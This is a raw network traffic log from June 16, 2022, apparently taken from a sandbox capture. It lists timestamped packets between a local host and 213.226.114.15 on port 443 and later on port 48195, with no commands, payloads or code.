Jun 16, 2022 20:31:43.188632965 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.194992065 CEST	49763	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.195017099 CEST	443	49763	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.585002899 CEST	49769	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.585062981 CEST	443	49769	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.585174084 CEST	49769	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.585666895 CEST	49769	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.585747957 CEST	443	49769	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.585827112 CEST	49769	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.599941969 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.600003004 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.600147009 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.600943089 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.600965023 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.760649920 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.760726929 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.761389017 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.761401892 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.775935888 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.775952101 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.900948048 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.901031017 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.901060104 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.901096106 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.901124954 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.901371956 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.901388884 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.901454926 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.961391926 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.961429119 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.961494923 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.961508036 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:43.961535931 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:43.961563110 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.000515938 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.000555992 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.000642061 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.000653982 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.000709057 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.000737906 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.021661997 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.021702051 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.021812916 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.021826982 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.021934032 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.022984028 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.023019075 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.023113012 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.023125887 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.023181915 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.038346052 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.038408995 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.038609028 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.038624048 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.038681984 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.082360983 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.082401037 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.082458973 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.082473040 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.082519054 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.082545996 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.084177017 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.084213018 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.084269047 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.084280014 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.084310055 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.084332943 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.085129976 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.085166931 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.085244894 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.085256100 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.085289955 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.085311890 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.086817026 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.086849928 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.086922884 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.086935043 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.086976051 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.086999893 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.088697910 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.088731050 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.088814974 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.088825941 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.088860989 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.088886023 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.099340916 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.099380970 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.099493027 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.099505901 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.099529982 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.099562883 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.121198893 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.121233940 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.121309996 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.121323109 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.121366978 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.141947031 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.141988039 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.142121077 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.142138004 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.142188072 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.142823935 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.142868042 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.142910957 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.142923117 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.142945051 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.142968893 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.144723892 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.144762039 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.144819021 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.144829988 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.144866943 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.144889116 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.145703077 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.145745039 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.145795107 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.145804882 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.145843029 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.145880938 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.147826910 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.147871017 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.147927046 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.147938967 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.147965908 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.147983074 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.149152994 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.149192095 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.149240971 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.149250984 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.149276972 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.149301052 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.160185099 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.160294056 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.160361052 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.160375118 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.160418987 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.160439014 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.182984114 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.183022022 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.183094025 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.183104038 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.183130980 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.183154106 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.202354908 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.202397108 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.202543020 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.202558994 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.202603102 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.204543114 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.204575062 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.204647064 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.204655886 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.204690933 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.204721928 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.205707073 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.205753088 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.205789089 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.205799103 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.205852985 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.205869913 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.207012892 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.207051039 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.207103968 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.207113028 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.207137108 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.207164049 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.207927942 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.207962036 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.208039999 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.208050013 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.208074093 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.208097935 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.209018946 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.209058046 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.209124088 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.209135056 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.209168911 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.209194899 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.220132113 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.220177889 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.220283985 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.220295906 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.220328093 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.220354080 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.244051933 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.244102955 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.244299889 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.244317055 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.244373083 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.244379997 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.247637033 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.261928082 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.261966944 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.262456894 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.262478113 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.262490034 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.262535095 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.264292002 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.264332056 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.264396906 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.264406919 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.264445066 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.264467001 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.265091896 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.265130997 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.265178919 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.265188932 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.265221119 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.265244961 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.266314983 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.267174959 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.267213106 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.267277956 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.267288923 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.267334938 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.267349005 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.269582987 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.269625902 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.269743919 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.269757032 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.269781113 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.269813061 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.270497084 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.270534992 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.270605087 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.270616055 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.270656109 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.270677090 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.280240059 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.280281067 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.280364037 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.280378103 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.280474901 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.280493975 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.302578926 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.302619934 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.302711010 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.302721977 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.302761078 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.302783966 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.305804014 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.305844069 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.305933952 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.305943966 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.305999041 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.324867964 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.324898005 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.324956894 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.324965000 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.324987888 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.325025082 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.325872898 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.325902939 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.325969934 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.325977087 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.326008081 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.326036930 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.342566967 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.342602015 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.342673063 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.342683077 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.342715979 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.342736006 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.343451023 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.343477964 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.343508959 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.343570948 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.343575954 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.343636990 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.344635010 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.344664097 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.344759941 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.344768047 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.344801903 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.344824076 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.345577955 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.345611095 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.345690012 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.345700026 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.345745087 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.345778942 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.346304893 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.346335888 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.346404076 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.346412897 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.346445084 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.346467972 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.362133980 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.362195015 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.362344027 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.362354994 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.362397909 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.381990910 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.382025957 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.382150888 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.382164955 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.382205963 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.382226944 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.385317087 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.385346889 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.385448933 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.385497093 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.469042063 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.469074965 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.469095945 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.469275951 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.469286919 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.469301939 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:31:44.469392061 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:44.469443083 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:48.362936974 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:31:53.266221046 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:06.998823881 CEST	49770	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:06.998857021 CEST	443	49770	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:08.141258955 CEST	49816	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:08.203180075 CEST	48195	49816	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:08.208282948 CEST	49816	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:08.232341051 CEST	49816	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:08.336728096 CEST	48195	49816	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:08.454399109 CEST	48195	49816	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:08.454698086 CEST	49816	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:08.534446001 CEST	49816	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:08.596750975 CEST	48195	49816	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:08.658262968 CEST	49817	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:08.720001936 CEST	48195	49817	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:08.726507902 CEST	49817	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:08.748730898 CEST	49817	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:08.852579117 CEST	48195	49817	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:08.968558073 CEST	48195	49817	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:08.968698025 CEST	49817	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:09.420707941 CEST	49817	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:09.482635975 CEST	48195	49817	213.226.114.15	192.168.2.3
